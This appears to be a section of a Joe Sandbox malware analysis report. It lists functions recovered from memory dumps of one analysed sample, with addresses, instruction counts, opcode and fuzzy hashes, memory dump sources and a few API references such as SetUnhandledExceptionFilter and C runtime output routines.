Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: DD3250B0E103299ADF619FA4CC44BAEB779FF45704F1042FAEA0CA6154DB758A80CF59

Function 00411170 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00011100), ref: 0041117A

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: d169b30502df2eaed7ce1cfe07e123235fdfafb985d1f34d94a5b3c9a3fda5b9
Instruction ID: f0dfe7ffb357657dcde5d3e58c5c31cd01e5a0b4f0a5a586ab7196737654f8c6
Opcode Fuzzy Hash: d169b30502df2eaed7ce1cfe07e123235fdfafb985d1f34d94a5b3c9a3fda5b9
Instruction Fuzzy Hash: 13B0123114820C37C30013E26C09D02BA8CC5CD7A63510021F30C85420D87194005099

Function 02275DF7 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction ID: ac996d4423360cf5bf9f663df6d2223256dcd925d1e77719c10b6b7d2359fb02
Opcode Fuzzy Hash: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction Fuzzy Hash: CD42B071629F158BC3DADF24C88055BF3E1FFC8218F048A1DD99997A94DB38F819CA91

Function 0227A026 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction ID: 5a48bf178b7ec198caceff25b20dcb22059a61685c27198997fdf79bac16d6d2
Opcode Fuzzy Hash: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction Fuzzy Hash: 0F22E076918B128FC714CF19D08065AF7E1FF88324F158A6EE8A9A7B14D730BA55CF81

Function 02272B60 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction ID: 05d082330c416e67c06a532964af8df8e1104b9eb0c871c855bdc4d54a32604c
Opcode Fuzzy Hash: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction Fuzzy Hash: CDF1B571344B058FC758DE5DDDA1B16F7E5AB88318F19C728919ACBB64E378F8068B80

Function 02273520 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction ID: 43b1406667a34140f635a1e0e661998c8419acc05990a1bc9622c37b14f5a10b
Opcode Fuzzy Hash: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction Fuzzy Hash: 29028E711187058FC756EE5CD49035AF3E2FFC8309F198A2CD68987B64E739A9198F82

Function 022789D0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction ID: 27588fd294a49395e32be6f1c0aed6583be9f45b225b6b0ff0f810a3cdf1d621
Opcode Fuzzy Hash: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction Fuzzy Hash: C3C12833E2477906D764DEAE8C540AAB6E3AFC4220F9B477DDDD4A7242C9306D4A86C0

Function 0227B0B0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction ID: 36dc57252121921a943e21bdc107addc0afab67184a2284961ad85b3ca6ed12a
Opcode Fuzzy Hash: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction Fuzzy Hash: 15A1EA0A8090E4ABEF455A7E90B63FBAFE9CB27354E76719284D85B793C019120FDF50

Function 022730F0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction ID: 47aeaaac46cadc797a226e4c34e547b17c64e59c69488b17d9ed8be6dbaff1af
Opcode Fuzzy Hash: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction Fuzzy Hash: 3DB14D72700B164BD728EEA9DC91796B3E3AB84326F8EC73C9046C6F55F2BCA4454680

Function 0227CA10 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 76f6f96ca89f2e58ab946bca1af1426d9d31886491e8ea45959e34f99293f218
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 17C18DB5E003599FCB54CFA9C881ADEFBF1FF48204F24856AE919E7301E334AA558B54

Function 02275DE7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction ID: ebc9c163f7cc744c99c227d79c8014be3bc25353d0a6d5037892ea27b614bbf4
Opcode Fuzzy Hash: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction Fuzzy Hash: 6BB18460039FA686CBD3FF30911024BF7E0BFC525DF44194AD99986864EB3EE94E9215

Function 02277520 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction ID: cca6a89ea8d880f774a975330527bbdb59a436cc44f6c3d2b8caa4929450d6f3
Opcode Fuzzy Hash: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction Fuzzy Hash: 359114739187BA06D7609EAE8C441B9B6E3AFC4210F9B077ADD9467282C9309E0697D0

Function 0227C760 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction ID: 4a3f1d27aa670165c86ab5b7c2c79b0c1673743f2a58f6d369a6a80377e00db3
Opcode Fuzzy Hash: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction Fuzzy Hash: 6DB17AB5E002199FCB84CFE9C885ADEFBF0FF48210F64816AD919E7301E334AA558B54

Function 0227A916 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction ID: 4d644723278591842bb485332494874885582039cde118205ee84131325d1889
Opcode Fuzzy Hash: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction Fuzzy Hash: C471E573A34B258B8314DEB98D94192F2F1EF84610B57C27CCE84D7B45E731B95A96C0

Function 022759F7 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction ID: 87c9bc6ac418a63287549c86ed44b243d57a82f38d85287fe91e3b5a29230aa8
Opcode Fuzzy Hash: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction Fuzzy Hash: 298136B2A047019FC328CF19D88566AF7E1FFD8210F15892DE99E83B41D770F8558B92

Function 02278E60 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction ID: ff3e0be9cd0449cbeb0d0aeda1c27b5b9b457a721e79d12a455b28cfbb83bd91
Opcode Fuzzy Hash: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction Fuzzy Hash: C9710622535B7A0AEBC3DA3D881046BF7E0BE4910AB850956DCD0F3181D72EDE4E77A4

Function 0227A699 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction ID: a75db3755f028cb3d7d352733a8f8c3d8ed33d7dd8f1261b5e2434ee135a1c19
Opcode Fuzzy Hash: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction Fuzzy Hash: 09815875A24B669BD714CF6ED8C045AFBF1FB08220B518A2ADCA583B40D334F565CFA4

Function 02279120 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction ID: 5c2d67bd842a3fa350d41e1a51cefa61ce1777ab8e8664efbfeb9b2f1cb9e3b2
Opcode Fuzzy Hash: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction Fuzzy Hash: BF61A3339046BB5BDB649E6DD8401A9B7A2BFC4310F5B8A75DC9823642C234EA11DBD0

Function 02277A80 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction ID: 5f2ea2d1ff72f3788e90ccf3dced79cd51bf6956b83a7130cf1c415afd003ef6
Opcode Fuzzy Hash: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction Fuzzy Hash: B1617C3791262B9BD761DF59D84527AB3A2EFC4360F6B8A358C0427642C734F9119BC4

Function 02277880 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction ID: aea90503777b6469c49a217c0aa909535a6dce51113acb44ab9dae2ae91d690a
Opcode Fuzzy Hash: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction Fuzzy Hash: AB51DD229257B945EBC3DA3D88504BEBBE0BE49106B460557DCD0B3181C72EDE4DB7E4

Function 02277220 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Function 021DA71C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312843484.00000000021D9000.00000040.00000020.00020000.00000000.sdmp, Offset: 021D9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21d9000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: 6bdb2b3e68544bffe1020f3096f05dd8631b0bc758d76dbaebc70cb3c3deadc1
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: AC316739886241DFCB15CE70D8E0AB5BB70EF87225F1996ACC4818B102D326A04BC7D4

Function 022770E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Function 02277393 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction ID: c8c1d6216ed0f20f64787aaceeaa28c094e6daf879b86d0cfad59bf3072252aa
Opcode Fuzzy Hash: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction Fuzzy Hash: 7B3112306283419FD741EF69C880A4BFBE1FFD8258F01D919F9889B225D730E984CB62

Function 022918D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 3933d66f45fe461d123211e9357a2bc125fb12a0cf2494a508785dbaf08be53e
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: FC1108772610834FFF3886AFD4B86B6E3D5EBC622972C427AD18B4B65CD322E1659500

Function 0227B000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: 63dc5e82053f92b46678097a4952717e431c3f12afc69083752d284f0b464a59
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: 84113D0A8492C4BDCF424A7840E56EBEFA58E2B218F5A71DA88C44B743D01B150FE7A1

Function 021D90A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312843484.00000000021D9000.00000040.00000020.00020000.00000000.sdmp, Offset: 021D9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21d9000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 4ccff61bb54ed6531e9722fe590bf38b130220f62cf1379a389669d836742de0
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 11117CB2380100EFD754DE59DCC1EA673EAEB89220B1980A5ED08CB352D776E842CB60

Function 02270042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 8ad4daeff8530941dbe422a6b3ff25f99935847cf921b59415f91e2f4ceb1112
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 2C11CE72360200AFEB04CFA5DC90FA673EAFB88330B198065ED08CB315D676E905CB60

Function 0227A79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: 4089e17c591b7b6a782ceaf4c262e4a4405c165a29768915e6383cd41dc9f4a6
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: 25012C768146629BD700DF3EC8C045AFBF1FB082217528B26DC9083A41D334E562DBE4

Function 00420769 Relevance: 40.6, APIs: 18, Strings: 5, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004207F8
_get_int64_arg.LIBCMTD ref: 00420820
__aullrem.LIBCMT ref: 004209C5
__aulldiv.LIBCMT ref: 004209E7
_write_multi_char.LIBCMTD ref: 00420AEE
_write_string.LIBCMTD ref: 00420B09
_write_multi_char.LIBCMTD ref: 00420B35
_wctomb_s.LIBCMTD ref: 00420BB2

Strings

9, xrefs: 004209F8
("Incorrect format specifier", 0), xrefs: 0041FE1D, 0041FE63
_output_s_l, xrefs: 0041FE5E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0041FE29, 0041FE59
-, xrefs: 00420A8E

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: 47cec20c6243e7c81983d6dd7293ccbb184cd02524b1103d686c7cf59cc54e39
Instruction ID: 7f44e181f634528a57e7159aefdb9676d81335358b1f864a5fab353eb0ddfc04
Opcode Fuzzy Hash: 47cec20c6243e7c81983d6dd7293ccbb184cd02524b1103d686c7cf59cc54e39
Instruction Fuzzy Hash: 65F15DB1E052298FEB24CF54DC99BEEB7B1BB44304F5481DAE00967242D7789E80CF59

Function 0042200B Relevance: 38.9, APIs: 18, Strings: 4, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004220A0
_get_int64_arg.LIBCMTD ref: 004220C8
__aullrem.LIBCMT ref: 00422270
__aulldiv.LIBCMT ref: 00422292
_write_multi_char.LIBCMTD ref: 004223AB
_write_string.LIBCMTD ref: 004223C6
_write_multi_char.LIBCMTD ref: 004223F2
__mbtowc_l.LIBCMTD ref: 00422461

Strings

9, xrefs: 004222A3
_woutput_s_l, xrefs: 004217AB
("Incorrect format specifier", 0), xrefs: 0042176A, 004217B0
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00421776, 004217A6

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

